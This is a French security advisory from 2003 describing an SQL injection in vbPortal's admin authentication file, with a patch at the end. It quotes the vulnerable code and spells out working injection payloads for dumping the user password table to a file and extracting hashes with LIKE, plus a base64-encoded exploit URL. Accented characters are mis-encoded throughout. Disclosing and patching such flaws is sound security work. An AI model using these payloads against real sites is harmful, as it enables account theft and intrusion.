vbPortal
********
Informations :
같같같같같같같
Langage : PHP
Version : 2.0 alpha 8.1
Website : http://www.vbportal.com
Probl�me : Injection SQL
Developpement :
같같같같같같같�
vbPortal est un portail dont le code est plus ou moins bas� sur PHP-Nuke, mais qui est fait pour s'ajouter au forum
vBulletin et d'une certaine mani�re le compl�ter (en faire un CMS complet).
Le probl�me se trouve dans le fichier auth.inc.php, qui est le fichier d'authentification admin.
On y voit le code suivant :
-----------------------------------------------------------------------------------------
[...]
if(isset($admin)) {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
if ($aid=="" || $pwd=="") {
$admintest=0;
echo "\n";
echo "INTRUDER ALERT!!!\n";
echo "\n\n
\n\n";
echo "![](\"images/eyes.gif\")
\n";
echo "Get Out!\n";
echo "\n";
echo "\n";
exit;
}
$result=mysql_query("SELECT password as pwd FROM user WHERE username = '$aid'");
// $result=mysql_query("select pwd from $prefix"._authors." where aid='$aid'");
if(!$result) {
echo "Selection from database failed!";
exit;
} else {
list($pass)=mysql_fetch_row($result);
if($pass == $pwd && $pass != "") {
$admintest = 1;
}
}
}
[...]
-----------------------------------------------------------------------------------------
L'injection peut se faire dans la requ�te SQL :
SELECT password as pwd FROM user WHERE username = '$aid'
gr�ce la variable $aid. Voyons d'abord ce qu'il est possible de faire et le r�sultat qui s'affiche, puis nous verrons
comment l'appliquer.
D'abord on peut r�cup�rer tout les mots de passe de la table 'user' en donnant � $aid la valeur :
' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt
(/complete/path/ �tant le chemin vers le repertoire du site web) ce qui donnera comme requ�te :
SELECT password as pwd FROM user WHERE username = '' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt'
1=1 renvoyant toujours 'vrai', tout les mots de passe seront exp�di�s vers le fichier UserTable.txt, qui sera
accessible via l'url http://[target]/UserTable.txt gr�ce � INTO OUTFILE.
Rappel pour pouvoir utiliser INTO OUTFILE, en plus du fait que l'option doit �tre dans la version MySQL utilis�e :
- Il faut indiquer le chemin complet du fichier dans lequel enregistrer le r�sultat
- Le fichier ne peut pas d�j� exister (ce qui emp�chera de remplacer des fichiers comme /etc/passwd)
- On doit avoir les privil�ges de la gestion de fichiers
Quand on utilise INTO OUTFILE, le r�sultat de la requ�te est 0. On tombe donc sur la condition 'if(!$result) {',
et on voit s'afficher la ligne : 'Selection from database failed!' ou une page disant qu'il n'y a pas eu de r�sultat.
Une autre possibilit� est de cracker des informations, comme le mot de passe (crypt� en md5 dans la DB, mais qui
pourrait �tre utilis� via un cookie pour acc�der au compte). Pour se faire il faut utiliser LIKE. Par exemple
en donnant � $aid la valeur : ' OR pwd LIKE 'a%, on aura la requ�te :
SELECT password as pwd FROM user WHERE username = '' OR pwd LIKE 'a%'
et, si le mot de passe crypt� commence bien par a, on aura un r�sultat est rien ne s'affichera sur la page.
Si il n'y a pas de r�sultat, cette fois encore, c'est le message 'Selection from database failed!' qui s'affichera.
Voyons maintenant comme l'injecter. On voit le code :
---------------------------------
if(isset($admin)) {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
if ($aid=="" || $pwd=="") {
[...]
exit;
}
---------------------------------
On voit ici que $admin est crypt� en base64, et on le d�crypte. Puis que $admin est transform� en tableau, chaque
�l�ment �tant les �l�ments qui, dans la string, �tait s�par� par ':'.
On voit que $aid est le premier �l�ment de ce tablea, que $pwd est le deuxi�me, et qu'aucun des deux ne doit �tre vide
sinon le script est quitt�.
Cr�ons d'abord cette variable $admin, puis cryptons la en base64.
Pour la premi�re exploitation, $admin sera :
' OR 1=1 INTO OUTFILE '/complete/path/UserTable.txt:1
et pour la deuxi�me :
' OR pwd LIKE 'a%:1
Comme exemple, je vais juste crypter la premi�re exploitation, ce qui donne :
JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=
Pour enregistrer tout les passes crypt�s dans le fichier, il suffira donc de se rendre � l'url :
http://[target]/auth.inc.php?admin=JyBPUiAxPTEgSU5UTyBPVVRGSUxFICcvY29tcGxldGUvcGF0aC9Vc2VyVGFibGUudHh0OjE=
Pour crypter en base 64, j'ai upload� un petit fichier .html :
http://membres.lycos.fr/aaoaoaa/YmFzZTY0.html
Conclusion... ce genre de failles est tr�s souvent pr�sent dans le MySQL (je crois d'ailleurs qu'il y en a une autre
dans le m�me fichier), mais la caract�ristique ici est que, �tant cod� en base64, l'�l�ment inject� n'est pas addslash�
par l'option magic_quotes_gpc.
Solution :
같같같같같
Un patch est disponible sur http://www.phpsecure.info.
Dans auth.inc.php, il suffit de remplacer la ligne :
---------------------
$aid = "$admin[0]";
---------------------
par :
-------------------------------
$aid = addslashes($admin[0]);
-------------------------------
Credits :
같같같같�
Auteur : frog-m@n
E-mail : leseulfrog@hotmail.com
Website : http://www.phpsecure.info
Date : 12/09/03